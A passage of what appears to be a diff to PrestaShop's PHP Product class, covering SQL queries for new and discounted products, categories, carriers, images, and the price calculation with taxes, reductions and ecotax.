$sql->join(Shop::addSqlAssociation('product', 'p')); + $sql->leftJoin('product_lang', 'pl', ' + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl') + ); + $sql->leftJoin('image', 'i', 'i.`id_product` = p.`id_product`'); + $sql->join(Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1')); + $sql->leftJoin('image_lang', 'il', 'i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang); + $sql->leftJoin('manufacturer', 'm', 'm.`id_manufacturer` = p.`id_manufacturer`'); + + $sql->where('product_shop.`active` = 1'); + + if ($front) + $sql->where('product_shop.`visibility` IN ("both", "catalog")'); + $sql->where(' + DATEDIFF( + product_shop.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0' + ); + + $sql->where('p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.')' + ); + $sql->groupBy('product_shop.id_product'); + + $sql->orderBy((isset($order_by_prefix) ? pSQL($order_by_prefix).'.' : '').'`'.pSQL($order_by).'` '.pSQL($order_way)); + $sql->limit($nb_products, $page_number * $nb_products); + + if (Combination::isFeatureActive()) + { + $sql->select('MAX(product_attribute_shop.id_product_attribute) id_product_attribute'); + $sql->leftOuterJoin('product_attribute', 'pa', 'p.`id_product` = pa.`id_product`'); + $sql->join(Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.default_on = 1')); + } + $sql->join(Product::sqlStock('p', Combination::isFeatureActive() ? 'product_attribute_shop' : 0)); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if ($order_by == 'price') + Tools::orderbyPrice($result, $order_way); + if (!$result) + return false; + + $products_ids = array(); + foreach ($result as $row) + $products_ids[] = $row['id_product']; + // Thus you can avoid one query per product, because there will be only one query for all the products of the cart + Product::cacheFrontFeatures($products_ids, $id_lang); + + return Product::getProductsProperties((int)$id_lang, $result); + } + + protected static function _getProductIdByDate($beginning, $ending, Context $context = null, $with_combination = false) + { + if (!$context) + $context = Context::getContext(); + + $id_address = $context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}; + $ids = Address::getCountryAndState($id_address); + $id_country = (int)($ids['id_country'] ? $ids['id_country'] : Configuration::get('PS_COUNTRY_DEFAULT')); + + return SpecificPrice::getProductIdByDate( + $context->shop->id, + $context->currency->id, + $id_country, + $context->customer->id_default_group, + $beginning, + $ending, + 0, + $with_combination + ); + } + + /** + * Get a random special + * + * @param integer $id_lang Language id + * @return array Special + */ + public static function getRandomSpecial($id_lang, $beginning = false, $ending = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + $current_date = date('Y-m-d H:i:s'); + $product_reductions = Product::_getProductIdByDate((!$beginning ? $current_date : $beginning), (!$ending ? $current_date : $ending), $context, true); + + if ($product_reductions) + { + $ids_product = ' AND ('; + foreach ($product_reductions as $product_reduction) + $ids_product .= '( product_shop.`id_product` = '.(int)$product_reduction['id_product'].($product_reduction['id_product_attribute'] ? ' AND product_attribute_shop.`id_product_attribute`='.(int)$product_reduction['id_product_attribute'] :'').') OR'; + $ids_product = rtrim($ids_product, 'OR').')'; + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + // Please keep 2 distinct queries because RAND() is an awful way to achieve this result + $sql = 'SELECT product_shop.id_product, MAX(product_attribute_shop.id_product_attribute) id_product_attribute + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute` pa ON (product_shop.id_product = pa.id_product) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.default_on = 1').' + WHERE product_shop.`active` = 1 + '.(($ids_product) ? $ids_product : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + GROUP BY product_shop.id_product + ORDER BY RAND()'; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + + if (!$id_product = $result['id_product']) + return false; + + $sql = 'SELECT p.*, product_shop.*, stock.`out_of_stock` out_of_stock, pl.`description`, pl.`description_short`, + pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, + p.`ean13`, p.`upc`, MAX(image_shop.`id_image`) id_image, il.`legend`, + DATEDIFF(product_shop.`date_add`, DATE_SUB(NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' + DAY)) > 0 AS new + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + '.Product::sqlStock('p', 0).' + WHERE p.id_product = '.(int)$id_product.' + GROUP BY product_shop.id_product'; + + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + if (!$row) + return false; + + if ($result['id_product_attribute']) + $row['id_product_attribute'] = $result['id_product_attribute']; + return Product::getProductProperties($id_lang, $row); + } + else + return false; + } + + /** + * Get prices drop + * + * @param integer $id_lang Language id + * @param integer $pageNumber Start from (optional) + * @param integer $nbProducts Number of products to return (optional) + * @param boolean $count Only in order to get total number (optional) + * @return array Prices drop + */ + public static function getPricesDrop($id_lang, $page_number = 0, $nb_products = 10, $count = false, + $order_by = null, $order_way = null, $beginning = false, $ending = false, Context $context = null) + { + if (!Validate::isBool($count)) + die(Tools::displayError()); + + if (!$context) $context = Context::getContext(); + if ($page_number < 0) $page_number = 0; + if ($nb_products < 1) $nb_products = 10; + if (empty($order_by) || $order_by == 'position') $order_by = 'price'; + if (empty($order_way)) $order_way = 'DESC'; + if ($order_by == 'id_product' || $order_by == 'price' || $order_by == 'date_add' || $order_by == 'date_upd') + $order_by_prefix = 'p'; + else if ($order_by == 'name') + $order_by_prefix = 'pl'; + if (!Validate::isOrderBy($order_by) || !Validate::isOrderWay($order_way)) + die (Tools::displayError()); + $current_date = date('Y-m-d H:i:s'); + $ids_product = Product::_getProductIdByDate((!$beginning ? $current_date : $beginning), (!$ending ? $current_date : $ending), $context); + + $tab_id_product = array(); + foreach ($ids_product as $product) + if (is_array($product)) + $tab_id_product[] = (int)$product['id_product']; + else + $tab_id_product[] = (int)$product; + + $front = true; + if (!in_array($context->controller->controller_type, array('front', 'modulefront'))) + $front = false; + + $groups = FrontController::getCurrentCustomerGroups(); + $sql_groups = (count($groups) ? 'IN ('.implode(',', $groups).')' : '= 1'); + + if ($count) + { + $sql = 'SELECT COUNT(DISTINCT p.`id_product`) AS nb + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE product_shop.`active` = 1 + AND product_shop.`show_price` = 1 + '.($front ? ' AND product_shop.`visibility` IN ("both", "catalog")' : '').' + '.((!$beginning && !$ending) ? 'AND p.`id_product` IN('.((is_array($tab_id_product) && count($tab_id_product)) ? implode(', ', $tab_id_product) : 0).')' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + )'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + return (int)$result['nb']; + } + if (strpos($order_by, '.') > 0) + { + $order_by = explode('.', $order_by); + $order_by = pSQL($order_by[0]).'.`'.pSQL($order_by[1]).'`'; + } + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, pl.`description`, pl.`description_short`, MAX(product_attribute_shop.id_product_attribute) id_product_attribute, + pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, + pl.`name`, MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` AS manufacturer_name, + DATEDIFF( + p.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 AS new + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'product_attribute pa ON (pa.id_product = p.id_product) + '.Shop::addSqlAssociation('product_attribute', 'pa', false, 'product_attribute_shop.default_on=1').' + '.Product::sqlStock('p', 0, false, $context->shop).' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (m.`id_manufacturer` = p.`id_manufacturer`) + WHERE product_shop.`active` = 1 + AND product_shop.`show_price` = 1 + '.($front ? ' AND p.`visibility` IN ("both", "catalog")' : '').' + '.((!$beginning && !$ending) ? ' AND p.`id_product` IN ('.((is_array($tab_id_product) && count($tab_id_product)) ? implode(', ', $tab_id_product) : 0).')' : '').' + AND p.`id_product` IN ( + SELECT cp.`id_product` + FROM `'._DB_PREFIX_.'category_group` cg + LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON (cp.`id_category` = cg.`id_category`) + WHERE cg.`id_group` '.$sql_groups.' + ) + GROUP BY product_shop.id_product + ORDER BY '.(isset($order_by_prefix) ? pSQL($order_by_prefix).'.' : '').pSQL($order_by).' '.pSQL($order_way).' + LIMIT '.(int)($page_number * $nb_products).', '.(int)$nb_products; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + if ($order_by == 'price') + Tools::orderbyPrice($result, $order_way); + + if (!$result) + return false; + + return Product::getProductsProperties($id_lang, $result); + } + + + /** + * getProductCategories return an array of categories which this product belongs to + * + * @return array of categories + */ + public static function getProductCategories($id_product = '') + { + $ret = array(); + + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id_category` FROM `'._DB_PREFIX_.'category_product` + WHERE `id_product` = '.(int)$id_product + ); + + if ($row) + foreach ($row as $val) + $ret[] = $val['id_category']; + + return $ret; + } + + public static function getProductCategoriesFull($id_product = '', $id_lang = null) + { + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + $ret = array(); + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT cp.`id_category`, cl.`name`, cl.`link_rewrite` FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'category` c ON (c.id_category = cp.id_category) + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (cp.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + '.Shop::addSqlAssociation('category', 'c').' + WHERE cp.`id_product` = '.(int)$id_product.' + AND cl.`id_lang` = '.(int)$id_lang + ); + + foreach ($row as $val) + $ret[$val['id_category']] = $val; + + return $ret; + } + + /** + * getCategories return an array of categories which this product belongs to + * + * @return array of categories + */ + public function getCategories() + { + return Product::getProductCategories($this->id); + } + + /** + * Gets carriers assigned to the product + */ + public function getCarriers() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT c.* + FROM `'._DB_PREFIX_.'product_carrier` pc + INNER JOIN `'._DB_PREFIX_.'carrier` c + ON (c.`id_reference` = pc.`id_carrier_reference` AND c.`deleted` = 0) + WHERE pc.`id_product` = '.(int)$this->id.' + AND pc.`id_shop` = '.(int)$this->id_shop); + } + + /** + * Sets carriers assigned to the product + */ + public function setCarriers($carrier_list) + { + $data = array(); + + foreach ($carrier_list as $carrier) + { + $data[] = array( + 'id_product' => (int)$this->id, + 'id_carrier_reference' => (int)$carrier, + 'id_shop' => (int)$this->id_shop + ); + } + Db::getInstance()->execute( + 'DELETE FROM `'._DB_PREFIX_.'product_carrier` + WHERE id_product = '.(int)$this->id.' + AND id_shop = '.(int)$this->id_shop + ); + if (count($data)) + Db::getInstance()->insert('product_carrier', $data); + } + + /** + * Get product images and legends + * + * @param integer $id_lang Language id for multilingual legends + * @return array Product images and legends + */ + public function getImages($id_lang, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT image_shop.`cover`, i.`id_image`, il.`legend`, i.`position` + FROM `'._DB_PREFIX_.'image` i + '.Shop::addSqlAssociation('image', 'i').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + WHERE i.`id_product` = '.(int)$this->id.' + ORDER BY `position`'; + return Db::getInstance()->executeS($sql); + } + + /** + * Get product cover image + * + * @return array Product cover image + */ + public static function getCover($id_product, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT image_shop.`id_image` + FROM `'._DB_PREFIX_.'image` i + '.Shop::addSqlAssociation('image', 'i').' + WHERE i.`id_product` = '.(int)$id_product.' + AND image_shop.`cover` = 1'; + return Db::getInstance()->getRow($sql); + } + + /** + * Get product price + * + * @param integer $id_product Product id + * @param boolean $usetax With taxes or not (optional) + * @param integer $id_product_attribute Product attribute id (optional). + * If set to false, do not apply the combination price impact. NULL does apply the default combination price impact. + * @param integer $decimals Number of decimals (optional) + * @param integer $divisor Useful when paying many time without fees (optional) + * @param boolean $only_reduc Returns only the reduction amount + * @param boolean $usereduc Set if the returned amount will include reduction + * @param integer $quantity Required for quantity discount application (default value: 1) + * @param boolean $forceAssociatedTax DEPRECATED - NOT USED Force to apply the associated tax. Only works when the parameter $usetax is true + * @param integer $id_customer Customer ID (for customer group reduction) + * @param integer $id_cart Cart ID. Required when the cookie is not accessible (e.g., inside a payment module, a cron task...) + * @param integer $id_address Customer address ID. Required for price (tax included) calculation regarding the guest localization + * @param variable_reference $specificPriceOutput. + * If a specific price applies regarding the previous parameters, this variable is filled with the corresponding SpecificPrice object + * @param boolean $with_ecotax insert ecotax in price output. + * @return float Product price + */ + public static function getPriceStatic($id_product, $usetax = true, $id_product_attribute = null, $decimals = 6, $divisor = null, + $only_reduc = false, $usereduc = true, $quantity = 1, $force_associated_tax = false, $id_customer = null, $id_cart = null, + $id_address = null, &$specific_price_output = null, $with_ecotax = true, $use_group_reduction = true, Context $context = null, + $use_customer_price = true) + { + if (!$context) + $context = Context::getContext(); + + $cur_cart = $context->cart; + + if ($divisor !== null) + Tools::displayParameterAsDeprecated('divisor'); + + if (!Validate::isBool($usetax) || !Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + // Initializations + $id_group = (isset($context->customer) ? $context->customer->id_default_group : (int)Configuration::get('PS_CUSTOMER_GROUP')); + + // If there is cart in context or if the specified id_cart is different from the context cart id + if (!is_object($cur_cart) || (Validate::isUnsignedInt($id_cart) && $id_cart && $cur_cart->id != $id_cart)) + { + /* + * When a user (e.g., guest, customer, Google...) is on PrestaShop, he has already its cart as the global (see /init.php) + * When a non-user calls directly this method (e.g., payment module...) is on PrestaShop, he does not have already it BUT knows the cart ID + * When called from the back office, cart ID can be inexistant + */ + if (!$id_cart && !isset($context->employee)) + die(Tools::displayError()); + $cur_cart = new Cart($id_cart); + // Store cart in context to avoid multiple instantiations in BO + if (!Validate::isLoadedObject($context->cart)) + $context->cart = $cur_cart; + } + + $cart_quantity = 0; + if ((int)$id_cart) + { + $condition = ''; + $cache_name = (int)$id_cart.'_'.(int)$id_product.'_'.(int)$id_product_attribute; + if (!isset(self::$_cart_quantity[$cache_name]) || self::$_cart_quantity[$cache_name] != (int)$quantity) + self::$_cart_quantity[$cache_name] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT SUM(`quantity`) + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_product` = '.(int)$id_product.' + AND `id_product_attribute` = '.(int)$id_product_attribute.' + AND `id_cart` = '.(int)$id_cart); + $cart_quantity = self::$_cart_quantity[$cache_name]; + } + + $id_currency = (int)Validate::isLoadedObject($context->currency) ? $context->currency->id : Configuration::get('PS_CURRENCY_DEFAULT'); + + // retrieve address informations + $id_country = (int)$context->country->id; + $id_state = 0; + $zipcode = 0; + + if (!$id_address) + $id_address = $cur_cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}; + + if ($id_address) + { + $address_infos = Address::getCountryAndState($id_address); + if ($address_infos['id_country']) + { + $id_country = (int)$address_infos['id_country']; + $id_state = (int)$address_infos['id_state']; + $zipcode = $address_infos['postcode']; + } + } + else if (isset($context->customer->geoloc_id_country)) + { + $id_country = (int)$context->customer->geoloc_id_country; + $id_state = (int)$context->customer->id_state; + $zipcode = (int)$context->customer->postcode; + } + + if (Tax::excludeTaxeOption()) + $usetax = false; + + if ($usetax != false + && !empty($address_infos['vat_number']) + && $address_infos['id_country'] != Configuration::get('VATNUMBER_COUNTRY') + && Configuration::get('VATNUMBER_MANAGEMENT')) + $usetax = false; + + if (is_null($id_customer) && Validate::isLoadedObject($context->customer)) + $id_customer = $context->customer->id; + + return Product::priceCalculation( + $context->shop->id, + $id_product, + $id_product_attribute, + $id_country, + $id_state, + $zipcode, + $id_currency, + $id_group, + $cart_quantity, + $usetax, + $decimals, + $only_reduc, + $usereduc, + $with_ecotax, + $specific_price_output, + $use_group_reduction, + $id_customer, + $use_customer_price, + $id_cart, + $quantity + ); + } + + /** + * Price calculation / Get product price + * + * @param integer $id_shop Shop id + * @param integer $id_product Product id + * @param integer $id_product_attribute Product attribute id + * @param integer $id_country Country id + * @param integer $id_state State id + * @param integer $id_currency Currency id + * @param integer $id_group Group id + * @param integer $quantity Quantity Required for Specific prices : quantity discount application + * @param boolean $use_tax with (1) or without (0) tax + * @param integer $decimals Number of decimals returned + * @param boolean $only_reduc Returns only the reduction amount + * @param boolean $use_reduc Set if the returned amount will include reduction + * @param boolean $with_ecotax insert ecotax in price output. + * @param variable_reference $specific_price_output + * If a specific price applies regarding the previous parameters, this variable is filled with the corresponding SpecificPrice object + * @return float Product price + **/ + public static function priceCalculation($id_shop, $id_product, $id_product_attribute, $id_country, $id_state, $zipcode, $id_currency, + $id_group, $quantity, $use_tax, $decimals, $only_reduc, $use_reduc, $with_ecotax, &$specific_price, $use_group_reduction, + $id_customer = 0, $use_customer_price = true, $id_cart = 0, $real_quantity = 0) + { + static $address = null; + static $context = null; + + if ($address === null) + $address = new Address(); + + if ($context == null) + $context = Context::getContext()->cloneContext(); + + if ($id_shop !== null && $context->shop->id != (int)$id_shop) + $context->shop = new Shop((int)$id_shop); + + if (!$use_customer_price) + $id_customer = 0; + + if ($id_product_attribute === null) + $id_product_attribute = Product::getDefaultAttribute($id_product); + + $cache_id = $id_product.'-'.$id_shop.'-'.$id_currency.'-'.$id_country.'-'.$id_state.'-'.$zipcode.'-'.$id_group. + '-'.$quantity.'-'.$id_product_attribute.'-'.($use_tax?'1':'0').'-'.$decimals.'-'.($only_reduc?'1':'0'). + '-'.($use_reduc?'1':'0').'-'.$with_ecotax.'-'.$id_customer.'-'.(int)$use_group_reduction.'-'.(int)$id_cart.'-'.(int)$real_quantity; + + // reference parameter is filled before any returns + $specific_price = SpecificPrice::getSpecificPrice( + (int)$id_product, + $id_shop, + $id_currency, + $id_country, + $id_group, + $quantity, + $id_product_attribute, + $id_customer, + $id_cart, + $real_quantity + ); + + if (isset(self::$_prices[$cache_id])) + return self::$_prices[$cache_id]; + + // fetch price & attribute price + $cache_id_2 = $id_product.'-'.$id_shop; + if (!isset(self::$_pricesLevel2[$cache_id_2])) + { + $sql = new DbQuery(); + $sql->select('product_shop.`price`, product_shop.`ecotax`'); + $sql->from('product', 'p'); + $sql->innerJoin('product_shop', 'product_shop', '(product_shop.id_product=p.id_product AND product_shop.id_shop = '.(int)$id_shop.')'); + $sql->where('p.`id_product` = '.(int)$id_product); + if (Combination::isFeatureActive()) + { + $sql->select('product_attribute_shop.id_product_attribute, product_attribute_shop.`price` AS attribute_price, product_attribute_shop.default_on'); + $sql->leftJoin('product_attribute', 'pa', 'pa.`id_product` = p.`id_product`'); + $sql->leftJoin('product_attribute_shop', 'product_attribute_shop', '(product_attribute_shop.id_product_attribute = pa.id_product_attribute AND product_attribute_shop.id_shop = '.(int)$id_shop.')'); + } + else + $sql->select('0 as id_product_attribute'); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + foreach ($res as $row) + { + $array_tmp = array( + 'price' => $row['price'], + 'ecotax' => $row['ecotax'], + 'attribute_price' => (isset($row['attribute_price']) ? $row['attribute_price'] : null) + ); + self::$_pricesLevel2[$cache_id_2][(int)$row['id_product_attribute']] = $array_tmp; + + if (isset($row['default_on']) && $row['default_on'] == 1) + self::$_pricesLevel2[$cache_id_2][0] = $array_tmp; + } + } + if (!isset(self::$_pricesLevel2[$cache_id_2][(int)$id_product_attribute])) + return; + + $result = self::$_pricesLevel2[$cache_id_2][(int)$id_product_attribute]; + + if (!$specific_price || $specific_price['price'] < 0) + $price = (float)$result['price']; + else + $price = (float)$specific_price['price']; + // convert only if the specific price is in the default currency (id_currency = 0) + if (!$specific_price || !($specific_price['price'] >= 0 && $specific_price['id_currency'])) + $price = Tools::convertPrice($price, $id_currency); + + // Attribute price + if (is_array($result) && (!$specific_price || !$specific_price['id_product_attribute'] || $specific_price['price'] < 0)) + { + $attribute_price = Tools::convertPrice($result['attribute_price'] !== null ? (float)$result['attribute_price'] : 0, $id_currency); + // If you want the default combination, please use NULL value instead + if ($id_product_attribute !== false) + $price += $attribute_price; + } + + // Tax + $address->id_country = $id_country; + $address->id_state = $id_state; + $address->postcode = $zipcode; + + $tax_manager = TaxManagerFactory::getManager($address, Product::getIdTaxRulesGroupByIdProduct((int)$id_product, $context)); + $product_tax_calculator = $tax_manager->getTaxCalculator(); + + // Add Tax + if ($use_tax) + $price = $product_tax_calculator->addTaxes($price); + + // Reduction + $reduc = 0; + if (($only_reduc || $use_reduc) && $specific_price) + { + if ($specific_price['reduction_type'] == 'amount') + { + $reduction_amount = $specific_price['reduction']; + + if (!$specific_price['id_currency']) + $reduction_amount = Tools::convertPrice($reduction_amount, $id_currency); + $reduc = !$use_tax ? $product_tax_calculator->removeTaxes($reduction_amount) : $reduction_amount; + } + else + $reduc = $price * $specific_price['reduction']; + } + + if ($only_reduc) + return Tools::ps_round($reduc, $decimals); + if ($use_reduc) + $price -= $reduc; + + // Group reduction + if ($use_group_reduction) + { + if ($reduction_from_category = (float)GroupReduction::getValueForProduct($id_product, $id_group)) + $price -= $price * $reduction_from_category; + else // apply group reduction if there is no group reduction for this category + $price *= ((100 - Group::getReductionByIdGroup($id_group)) / 100); + } + + // Eco Tax + if (($result['ecotax'] || isset($result['attribute_ecotax'])) && $with_ecotax) + { + $ecotax = $result['ecotax']; + if (isset($result['attribute_ecotax']) && $result['attribute_ecotax'] > 0) + $ecotax = $result['attribute_ecotax']; + + if ($id_currency) + $ecotax = Tools::convertPrice($ecotax, $id_currency); + if ($use_tax) + { + // reinit the tax manager for ecotax handling + $tax_manager = TaxManagerFactory::getManager( + $address, + (int)Configuration::get('PS_ECOTAX_TAX_RULES_GROUP_ID') + ); + $ecotax_tax_calculator = $tax_manager->getTaxCalculator(); + $price += $ecotax_tax_calculator->addTaxes($ecotax); + } + else + $price += $ecotax; + } + $price = Tools::ps_round($price, $decimals); + if ($price < 0) + $price = 0; + + self::$_prices[$cache_id] = $price; + return self::$_prices[$cache_id]; + } + + public static function convertAndFormatPrice($price, $currency = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + if (!$currency) + $currency = $context->currency; + return Tools::displayPrice(Tools::convertPrice($price, $currency), $currency); + } + + public static function isDiscounted($id_product, $quantity = 1, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $id_group = $context->customer->id_default_group; + $cart_quantity = !$context->cart ? 0 : Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT SUM(`quantity`) + FROM `'._DB_PREFIX_.'cart_product` + WHERE `id_product` = '.(int)$id_product.' AND `id_cart` = '.(int)$context->cart->id + ); + $quantity = $cart_quantity ? $cart_quantity : $quantity; + + $id_currency = (int)$context->currency->id; + $ids = Address::getCountryAndState((int)$context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + $id_country = (int)($ids['id_country'] ? $ids['id_country'] : Configuration::get('PS_COUNTRY_DEFAULT')); + return (bool)SpecificPrice::getSpecificPrice((int)$id_product, $context->shop->id, $id_currency, $id_country, $id_group, $quantity, null, 0, 0, $quantity); + } + + /** + * Get product price + * Same as static function getPriceStatic, no need to specify product id + * + * @param boolean $tax With taxes or not (optional) + * @param integer $id_product_attribute Product attribute id (optional) + * @param integer $decimals Number of decimals (optional) + * @param integer $divisor Util when paying many time without fees (optional) + * @return float Product price in euros + */ + public function getPrice($tax = true, $id_product_attribute = null, $decimals = 6, + $divisor = null, $only_reduc = false, $usereduc = true, $quantity = 1) + { + return Product::getPriceStatic((int)$this->id, $tax, $id_product_attribute, $decimals, $divisor, $only_reduc, $usereduc, $quantity); + } + + public function getPublicPrice($tax = true, $id_product_attribute = null, $decimals = 6, + $divisor = null, $only_reduc = false, $usereduc = true, $quantity = 1) + { + $specific_price_output = null; + return Product::getPriceStatic((int)$this->id, $tax, $id_product_attribute, $decimals, $divisor, $only_reduc, $usereduc, $quantity, + false, null, null, null, $specific_price_output, true, true, null, false); + } + + public function getIdProductAttributeMostExpensive() + { + if (!Combination::isFeatureActive()) + return 0; + + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT pa.`id_product_attribute` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$this->id.' + ORDER BY product_attribute_shop.`price` DESC'); + + return (isset($row['id_product_attribute']) && $row['id_product_attribute']) ? (int)$row['id_product_attribute'] : 0; + } + + public function getDefaultIdProductAttribute() + { + if (!Combination::isFeatureActive()) + return 0; + + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT pa.`id_product_attribute` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$this->id.' + AND product_attribute_shop.default_on = 1' + ); + + return (isset($row['id_product_attribute']) && $row['id_product_attribute']) ? (int)$row['id_product_attribute'] : 0; + } + + public function getPriceWithoutReduct($notax = false, $id_product_attribute = false) + { + return Product::getPriceStatic((int)$this->id, !$notax, $id_product_attribute, 6, null, false, false); + } + + /** + * Display price with right format and currency + * + * @param array $params Params + * @param $smarty Smarty object + * @return string Price with right format and currency + */ + public static function convertPrice($params, &$smarty) + { + return Tools::displayPrice($params['price'], Context::getContext()->currency); + } + + /** + * Convert price with currency + * + * @param array $params + * @param object $smarty DEPRECATED + * @return Ambigous <string, mixed, Ambigous <number, string>> + */ + public static function convertPriceWithCurrency($params, &$smarty) + { + return Tools::displayPrice($params['price'], $params['currency'], false); + } + + public static function displayWtPrice($params, &$smarty) + { + return Tools::displayPrice($params['p'], Context::getContext()->currency); + } + + /** + * Display WT price with currency + * + * @param array $params + * @param object DEPRECATED $smarty + * @return Ambigous <string, mixed, Ambigous <number, string>> + */ + public static function displayWtPriceWithCurrency($params, &$smarty) + { + return Tools::displayPrice($params['price'], $params['currency'], false); + } + + /** + * Get available product quantities + * + * @param integer $id_product Product id + * @param integer $id_product_attribute Product attribute id (optional) + * @return integer Available quantities + */ + public static function getQuantity($id_product, $id_product_attribute = null, $cache_is_pack = null) + { + $lang = Configuration::get('PS_LANG_DEFAULT'); + if ((int)$cache_is_pack || ($cache_is_pack === null && Pack::isPack((int)$id_product))) + { + if (!Pack::isInStock((int)$id_product)) + return 0; + } + + // @since 1.5.0 + return (StockAvailable::getQuantityAvailableByProduct($id_product, $id_product_attribute)); + } + + /** + * Create JOIN query with 'stock_available' table + * + * @param string $productAlias Alias of product table + * @param string|int $productAttribute If string : alias of PA table ; if int : value of PA ; if null : nothing about PA + * @param bool $innerJoin LEFT JOIN or INNER JOIN + * @param Shop $shop + * @return string + */ + public static function sqlStock($product_alias, $product_attribute = 0, $inner_join = false, Shop $shop = null) + { + $id_shop = ($shop !== null ? (int)$shop->id : null); + $sql = (($inner_join) ? ' INNER ' : ' LEFT ').' + JOIN '._DB_PREFIX_.'stock_available stock + ON (stock.id_product = 